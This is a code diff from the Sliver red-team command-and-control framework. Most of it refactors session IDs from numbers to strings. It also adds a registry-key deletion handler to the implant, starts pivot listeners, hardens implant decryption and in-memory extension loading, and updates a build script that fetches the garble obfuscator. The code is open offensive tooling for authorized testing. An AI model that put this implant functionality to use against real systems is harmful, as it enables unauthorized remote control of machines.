}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
default:
|
||||
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
openSession := &sliverpb.OpenSession{
|
||||
|
||||
@@ -40,7 +40,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session #%d ...", session.ID)
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
|
||||
@@ -21,6 +21,7 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
@@ -90,12 +91,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.GetSession(interact)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
|
||||
} else {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
}
|
||||
} else {
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
@@ -108,7 +109,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -122,6 +123,9 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, session := range sessions {
|
||||
color := console.Normal
|
||||
@@ -139,7 +143,7 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
burned = "🔥"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
@@ -150,9 +154,11 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// ShortSessionID - Shorten the session ID
|
||||
func ShortSessionID(id string) string {
|
||||
return strings.Split(id, "-")[0]
|
||||
}
|
||||
@@ -559,6 +559,21 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryDeleteKeyReq:
|
||||
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(task.Request, deleteKeyReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
deleteKey := &sliverpb.RegistryDeleteKey{}
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryListValuesReq:
|
||||
listValuesReq := &sliverpb.RegistryListValuesReq{}
|
||||
err := proto.Unmarshal(task.Request, listValuesReq)
|
||||
|
||||
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, err := sessions.SelectSession(false, con)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
} else if err != nil {
|
||||
switch err {
|
||||
case sessions.ErrNoSessions:
|
||||
|
||||
+16
-16
@@ -24,7 +24,6 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
@@ -56,7 +55,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
} else if beacon != nil {
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
|
||||
@@ -69,10 +68,9 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
idNumber, err := strconv.Atoi(id)
|
||||
if err == nil {
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.ID == uint32(idNumber) {
|
||||
if session.ID == id {
|
||||
return session, nil, nil
|
||||
}
|
||||
}
|
||||
@@ -96,15 +94,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
var sessionKeys []int
|
||||
var sessionKeys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
sessionKeys = append(sessionKeys, int(session.ID))
|
||||
sessionKeys = append(sessionKeys, session.ID)
|
||||
}
|
||||
sort.Ints(sessionKeys)
|
||||
sort.Strings(sessionKeys)
|
||||
|
||||
// Get and sort beacons
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
@@ -122,7 +120,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
sort.Strings(beaconKeys)
|
||||
|
||||
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
|
||||
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
|
||||
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
@@ -130,9 +128,10 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
for _, key := range sessionKeys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session := sessionsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"SESSION",
|
||||
strings.Split(session.ID, "-")[0],
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
@@ -142,7 +141,8 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
}
|
||||
for _, key := range beaconKeys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"BEACON",
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
@@ -167,7 +167,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
if index < len(sessionKeys) {
|
||||
return sessionsMap[uint32(sessionKeys[index])], nil, nil
|
||||
return sessionsMap[sessionKeys[index]], nil, nil
|
||||
}
|
||||
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
|
||||
}
|
||||
@@ -182,9 +182,9 @@ func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.Sliv
|
||||
return
|
||||
}
|
||||
for _, s := range sessions.Sessions {
|
||||
sid := fmt.Sprintf("%d", s.ID)
|
||||
sid := s.ID
|
||||
if strings.HasPrefix(sid, prefix) {
|
||||
results = append(results, fmt.Sprintf("%d", s.ID))
|
||||
results = append(results, s.ID)
|
||||
}
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
|
||||
+18
-14
@@ -31,6 +31,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -41,13 +42,10 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -167,7 +165,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
}
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
@@ -175,7 +174,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
}
|
||||
|
||||
case consts.JoinedEvent:
|
||||
@@ -190,8 +190,9 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
@@ -204,12 +205,15 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
@@ -229,7 +233,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
proto.Unmarshal(event.Data, beacon)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(beacon.ID, "-")[0]
|
||||
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
@@ -295,7 +299,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
|
||||
// If the callback is not in our map then we don't do anything, the beacon task
|
||||
// was either issued by another operator in multiplayer mode or the client process
|
||||
// was restarted between the time the task was created and the server go the result
|
||||
// was restarted between the time the task was created and when the server got the result
|
||||
con.BeaconTaskCallbacksMutex.Lock()
|
||||
defer con.BeaconTaskCallbacksMutex.Unlock()
|
||||
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
|
||||
@@ -406,7 +410,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
|
||||
return nil
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
|
||||
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
|
||||
return session
|
||||
}
|
||||
}
|
||||
|
||||
@@ -211,6 +211,7 @@ const (
|
||||
RegistryListSubStr = "list-subkeys"
|
||||
RegistryListValuesStr = "list-values"
|
||||
RegistryCreateKeyStr = "create"
|
||||
RegistryDeleteKeyStr = "delete"
|
||||
PivotsStr = "pivots"
|
||||
WgConfigStr = "wg-config"
|
||||
WgSocksStr = "wg-socks"
|
||||
@@ -219,6 +220,7 @@ const (
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
InteractiveStr = "interactive"
|
||||
CloseStr = "close"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
|
||||
@@ -29,7 +29,7 @@ var (
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type PortfwdMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
}
|
||||
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
|
||||
log.Printf("[tcpproxy] Failed to dial implant %s", err)
|
||||
return nil, err
|
||||
}
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
|
||||
|
||||
@@ -47,7 +47,7 @@ var (
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type SocksProxyMeta struct {
|
||||
ID int
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
BindAddr string
|
||||
Username string
|
||||
Password string
|
||||
|
||||
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
|
||||
}
|
||||
|
||||
// Start - Add a tunnel to the core mapper
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
tunnel := &Tunnel{
|
||||
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
|
||||
type Tunnel struct {
|
||||
ID uint64
|
||||
IsOpen bool
|
||||
SessionID uint32
|
||||
SessionID string
|
||||
|
||||
Send chan []byte
|
||||
Recv chan []byte
|
||||
|
||||
+4
-4
@@ -32,11 +32,11 @@ import (
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
if err != nil {
|
||||
insecureRand.Seed(int64(time.Now().Unix()))
|
||||
} else {
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
@@ -50,7 +50,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, int(agentSession.Session.GetID())
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
|
||||
@@ -78,7 +78,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
Target: p.conf.OperatorURL,
|
||||
|
||||
+13
-15
@@ -16,12 +16,12 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.5"
|
||||
GO_VER="1.17.6"
|
||||
GARBLE_VER="1.17.5"
|
||||
COFF_LOADER_VER="1.0.7"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
@@ -50,7 +50,7 @@ fi
|
||||
|
||||
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
OUTPUT_DIR=$REPO_DIR/server/assets/fs
|
||||
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
|
||||
mkdir -p $OUTPUT_DIR
|
||||
WORK_DIR=`mktemp -d`
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
@@ -134,22 +134,20 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
|
||||
# --- Client ---
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " COFF Loader"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
|
||||
@@ -64,6 +64,7 @@ require (
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
@@ -107,7 +108,6 @@ require (
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
|
||||
@@ -29,11 +29,11 @@ import (
|
||||
"io"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
@@ -73,6 +73,9 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
|
||||
|
||||
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
|
||||
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
|
||||
if len(ciphertext) < 24 {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
var decryptNonce [24]byte
|
||||
copy(decryptNonce[:], ciphertext[:24])
|
||||
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
|
||||
@@ -104,11 +107,12 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
|
||||
@@ -43,6 +43,7 @@ var (
|
||||
// TOTP secret value
|
||||
totpSecret = "{{.OTPSecret}}"
|
||||
|
||||
// ErrInvalidPeerKey - Peer to peer key exchange failed
|
||||
ErrInvalidPeerKey = errors.New("invalid peer key")
|
||||
)
|
||||
|
||||
|
||||
@@ -18,7 +18,13 @@ package extension
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "errors"
|
||||
import (
|
||||
"errors"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var extensions map[string]Extension
|
||||
|
||||
@@ -45,6 +51,11 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
|
||||
if ext, found := extensions[extID]; found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
for id, ext := range extensions {
|
||||
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
|
||||
}
|
||||
//{{end}}
|
||||
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
|
||||
}
|
||||
|
||||
|
||||
@@ -65,6 +65,9 @@ func (w *WindowsExtension) GetArch() string {
|
||||
|
||||
func (w *WindowsExtension) Load() error {
|
||||
var err error
|
||||
if len(w.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -77,6 +77,7 @@ var (
|
||||
sliverpb.MsgRegistryReadReq: regReadHandler,
|
||||
sliverpb.MsgRegistryWriteReq: regWriteHandler,
|
||||
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
|
||||
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
|
||||
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
|
||||
@@ -496,6 +497,23 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regDeleteKeyHandler(data []byte, resp RPCResponse) {
|
||||
deleteReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(data, deleteReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = registry.DeleteKey(deleteReq.Hostname, deleteReq.Hive, deleteReq.Path, deleteReq.Key)
|
||||
deleteResp := &sliverpb.RegistryDeleteKey{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
deleteResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(deleteResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regSubKeysListHandler(data []byte, resp RPCResponse) {
|
||||
listReq := &sliverpb.RegistrySubKeyListReq{}
|
||||
err := proto.Unmarshal(data, listReq)
|
||||
|
||||
@@ -69,8 +69,8 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
return
|
||||
}
|
||||
|
||||
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := startListener(req.BindAddress, connection.Send)
|
||||
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := createListener(req.BindAddress, connection.Send)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
@@ -80,6 +80,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
}
|
||||
return
|
||||
}
|
||||
go listener.Start()
|
||||
pivots.AddListener(listener)
|
||||
data, _ := proto.Marshal(listener.ToProtobuf())
|
||||
connection.Send <- &pb.Envelope{
|
||||
@@ -117,12 +118,20 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
|
||||
}
|
||||
|
||||
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
sent := pivots.SendToPeer(envelope)
|
